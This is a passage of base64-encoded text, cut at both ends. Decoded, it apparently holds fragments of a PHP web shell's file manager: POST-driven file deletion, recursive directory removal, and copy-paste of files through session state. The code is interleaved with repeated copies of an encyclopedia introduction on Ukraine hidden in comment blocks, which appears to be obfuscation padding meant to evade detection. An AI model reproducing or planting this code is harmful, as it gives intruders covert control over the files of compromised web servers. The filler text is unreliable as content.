BpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCX0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJCQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7CgkJCQkJCWlmKGlzX2RpcigkZikpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkZik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ2NvcHknKSB7CgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJCSRoID0gb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkgewoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKCQkJCQkJCQl9CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKSB7CgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGYpCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0